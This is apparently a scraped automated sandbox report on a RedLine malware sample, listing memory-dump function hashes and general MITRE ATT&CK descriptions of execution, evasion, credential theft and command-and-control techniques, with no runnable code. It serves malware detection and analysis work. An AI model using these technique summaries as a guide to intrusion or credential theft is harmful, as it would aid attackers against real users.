Instruction ID: ccae5fb9ea6d7901ba341b672c4cea81ce358b89a5b7fa8cef0fd8a73279d122
Opcode Fuzzy Hash: 1760570e146fba6c803712983e64b16606151ad28e36769d921e9e2d4e802428
Instruction Fuzzy Hash: 1D310B3190CB488FEB2CEB68D8466F97BE0EB56321F00417FD08ED3292DA656846CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360B0094, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.824465236.00007FFA360B0000.00000040.00000001.sdmp, Offset: 00007FFA360B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e94cad75dfa93ea3e77f308821a3f448c760a0d2273ef9c76bdb84324eecd1e
Instruction ID: 26defa12709c8b61412089520c21efbcd826502727eaf8e9270ae0a5a949d4a8
Opcode Fuzzy Hash: 7e94cad75dfa93ea3e77f308821a3f448c760a0d2273ef9c76bdb84324eecd1e
Instruction Fuzzy Hash: FF31A121A0DBC50FE35A57685C566743FE0EF5B214F0981FBD08EC7297DC599C068396

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360B0CB0, Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.824465236.00007FFA360B0000.00000040.00000001.sdmp, Offset: 00007FFA360B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d116b0e4be70b6a3c3adac22cddb262bb6bf582cea44329edf643ec646a27cdc
Instruction ID: 68a7fe8692ee1147c44a0bd1ab63e1f2d54bd9779cc37363c55b71e1901353ce
Opcode Fuzzy Hash: d116b0e4be70b6a3c3adac22cddb262bb6bf582cea44329edf643ec646a27cdc
Instruction Fuzzy Hash: DF31219290E7C54FE35787785C665603FB09F2321071AD4EBD089CB2F7E94A9C0AD362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360B0A09, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.824465236.00007FFA360B0000.00000040.00000001.sdmp, Offset: 00007FFA360B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c84fe761777960ed5543ea09a65c7355d113c8bd58f3a22320823b96fdfd018
Instruction ID: 81419e8a4c5179b5e56431bb55e2718e6a97d79fb4a78d41a4cc59d0c64e0909
Opcode Fuzzy Hash: 8c84fe761777960ed5543ea09a65c7355d113c8bd58f3a22320823b96fdfd018
Instruction Fuzzy Hash: 7D21C171A0EB8A4FE7568768085A1B43FE0EF67201709C0FBD48DC71A7ED1A98468741

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: sihost32.exe PID: 6688 Parent PID: 6972 sihost32.exeCOMMON

Executed Functions

Function 00007FFA36000098, Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82fb29eb3ef0d05a1fddfb316d98d39fc7a99aafb14060060d9590b449c1d3cb
Instruction ID: 000e31573837c28ab52d01f4ad3217aa70c6e061fc5b8ccca6a6394f47490180
Opcode Fuzzy Hash: 82fb29eb3ef0d05a1fddfb316d98d39fc7a99aafb14060060d9590b449c1d3cb
Instruction Fuzzy Hash: FEB19157D0D3C75EF722A778A8624F97FA09F03325B0980B3D19ECA1E3ED1968498365

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000095, Relevance: .5, Instructions: 510COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f164623ff4b6cf108e63a6fc87a4aa00badd0d143f5832030d7e9b45a6a8fa
Instruction ID: a777f67b33f10d64668956136ef2bce240295507d3952c802eab1fdb0d34fb05
Opcode Fuzzy Hash: a4f164623ff4b6cf108e63a6fc87a4aa00badd0d143f5832030d7e9b45a6a8fa
Instruction Fuzzy Hash: 9CB1805790D3C65EF722A77C98624F97FA09F03325B0980F7D09ECA1E3ED1968498365

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360043D6, Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dafab47af72ff5504dda37f7ccaf766cfe12f2d2e41b75bc235e7e622a8f0b8f
Instruction ID: 111a115a42b4a26f552f2bce15fa695f9d324bc34129953183717c6cd0b3f486
Opcode Fuzzy Hash: dafab47af72ff5504dda37f7ccaf766cfe12f2d2e41b75bc235e7e622a8f0b8f
Instruction Fuzzy Hash: 07F1A530508A8D8FEBA8DF28C846BE977D1FF56311F04826ED84EC7291DF7599458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36005182, Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b400aa32353a2506d659244aeafa95efa441a4e50fd11790cf7d34e99de4c6bb
Instruction ID: a333df0ff8aa0ec6fd2fbea01ba0fa10a1003680e3768fe49f4c2819195177c4
Opcode Fuzzy Hash: b400aa32353a2506d659244aeafa95efa441a4e50fd11790cf7d34e99de4c6bb
Instruction Fuzzy Hash: 17E1C570908A8D4FEBA9DF28C856BE97BD1EF56311F04827ED84DC7291CF7598448B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3600094D, Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5334100b4d049acd278c39d6e8f067a40aa5c1be48d858b003b8748ebe2bf7
Instruction ID: c3e6d40a2132e4e793b1c261e969007f7aa12465439cf32dc81470e860c38de8
Opcode Fuzzy Hash: 4c5334100b4d049acd278c39d6e8f067a40aa5c1be48d858b003b8748ebe2bf7
Instruction Fuzzy Hash: 93F18331A18A194FF794F7288896BB9B7E1EF9A304F44817AD40ED73D2DE2DAC418741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000080, Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bbf6b89248a277ba7b9b959b070971cb93bc4c60abc30ac809046b01753d8a8
Instruction ID: 88b45fffc46f2e098e39281a305e7ca10e519351af9a6de95f3fbf809708dfa6
Opcode Fuzzy Hash: 4bbf6b89248a277ba7b9b959b070971cb93bc4c60abc30ac809046b01753d8a8
Instruction Fuzzy Hash: 5DA19321A18A194FF7A4F7688896BB9B6D2EF9A700F54C07AD40FD33D2DD2D6C418741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36004D96, Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83bdc1e184ab3006aa4f35b9adf7d70ec453a9da88c9fba9bf47f8828284b613
Instruction ID: f02b2e35b09d71e46557322d183db2329439a7386f96ae59edbd5a1c4583270d
Opcode Fuzzy Hash: 83bdc1e184ab3006aa4f35b9adf7d70ec453a9da88c9fba9bf47f8828284b613
Instruction Fuzzy Hash: A1B1C870508B8D8FEB69DF28C8467F97BD1EF56310F04826EE84DC7292CE7599458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360005D0, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b43aab462d2c23ab0789785538cb1f56886e72aa929f6a04f68d0dee17a7961d
Instruction ID: 235784c0ba84d8ab75494f9d67097eb67796bb03b8ab7ddc3610c99bbd19a4fc
Opcode Fuzzy Hash: b43aab462d2c23ab0789785538cb1f56886e72aa929f6a04f68d0dee17a7961d
Instruction Fuzzy Hash: 1C51D831B18B494FE758AB2C984A6B877D1FF9E314F148279E44EC3393DE68AC428645

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36001CCC, Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2f234e0787caed6cddfdd8ed89b4bc9066ff9c749be11a30b0c7420a5e03a9
Instruction ID: 21b9da1c1d7a0812b37a245d229ceab7fe3d6a7776efa179c26cd326bc1dbb83
Opcode Fuzzy Hash: 5c2f234e0787caed6cddfdd8ed89b4bc9066ff9c749be11a30b0c7420a5e03a9
Instruction Fuzzy Hash: B1516131918A4C8FDB64DB58D846BE9BBF1FF59310F0482AAD04DD3252DE74A9858F81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA360005B1, Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08446066d1d0875ad188b556d3ebbcbd0016f8d67fadcaa1d459f29e5f026dc
Instruction ID: d90c720d7e30cc83506745676411b7996e63d27ea510664010e679ffa0cec358
Opcode Fuzzy Hash: c08446066d1d0875ad188b556d3ebbcbd0016f8d67fadcaa1d459f29e5f026dc
Instruction Fuzzy Hash: 2651D521A0CA495FE758EB6C984A7B877D2FF9A310F148279E44EC3393DE68AC418745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000882, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889da71a120e1e27ab7ca01afc4e7ce40662689c9d3fb905911d44712656ebf1
Instruction ID: 6abb69e0aea188cefc1adc0822472dc0253ee86d63307633e3c4d43c06ec7008
Opcode Fuzzy Hash: 889da71a120e1e27ab7ca01afc4e7ce40662689c9d3fb905911d44712656ebf1
Instruction Fuzzy Hash: 0511903184D2C64FF31797744852A957F60AF03214F1D82EAD4DACB2E3DD9D6455C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000781, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04696d7122d9c973eeb2415db18813e97f8318af763e8042d23f628a6eb3c49f
Instruction ID: b7c1c8a22e7d525a1c81b1780663755d9e30c024119e95cf6cc9e302d980e599
Opcode Fuzzy Hash: 04696d7122d9c973eeb2415db18813e97f8318af763e8042d23f628a6eb3c49f
Instruction Fuzzy Hash: F501EC30A5891D8FDF84EB9CD852AECB3E1EF9A311F505079E14ED3292CE65A8528B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA3600054D, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db8c1c5370edd3c345cbc9dc884c9e133b836143a8ce92cc1456570ca5379d8
Instruction ID: 0dd29408cc0e3cd93b3039318f4edf6c69aaa47fa3a24326cd1de2690a82ec4b
Opcode Fuzzy Hash: 6db8c1c5370edd3c345cbc9dc884c9e133b836143a8ce92cc1456570ca5379d8
Instruction Fuzzy Hash: DAF09021A0DA894FE795E77C8855EA4BBD1EB9A210B0AC2F6D40DC7293DE289C41C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000E84, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14611ec166934b68ace8bebf1ae181d6826af1b9938c32e42db6ab1645352e22
Instruction ID: 7a4d4e549193db6e0adf68dfde6879bfaa817548d4bcb873477f7686492eb839
Opcode Fuzzy Hash: 14611ec166934b68ace8bebf1ae181d6826af1b9938c32e42db6ab1645352e22
Instruction Fuzzy Hash: B9F0277140C74C5FEB14EA48DC4AEE67FA8EB47334F44006EE04EC7162E6322892C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000EC8, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34e7e1b09993ec66963e59a8d12f96de223bb0a2c4d9dbc4da17e52e2489855
Instruction ID: b436ddf8b2e1738b6e77cc302d865276903c4bd9e9d82a73fe94d21bb20e0c49
Opcode Fuzzy Hash: e34e7e1b09993ec66963e59a8d12f96de223bb0a2c4d9dbc4da17e52e2489855
Instruction Fuzzy Hash: 3DF05C7144C75C4FDB54EB549C05AF57BA8FB47325F40007ED00EC3162E6321582CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA36000570, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.922385282.00007FFA36000000.00000040.00000001.sdmp, Offset: 00007FFA36000000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9779c675e716ff648f8f61f13125524af899e6588f67638e3080a82579dadca
Instruction ID: 3da3af630f13fc7eb141941ae60ebf548ed69410438395aa35d1b40552648a25
Opcode Fuzzy Hash: f9779c675e716ff648f8f61f13125524af899e6588f67638e3080a82579dadca
Instruction Fuzzy Hash: 6CE04F21B18C1D4FDAA4F73C5885EA963D6EBDD210B5586B6E80DC3356ED28DC41C780

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report YfTokH7RIj

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Bitcoin Miner:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre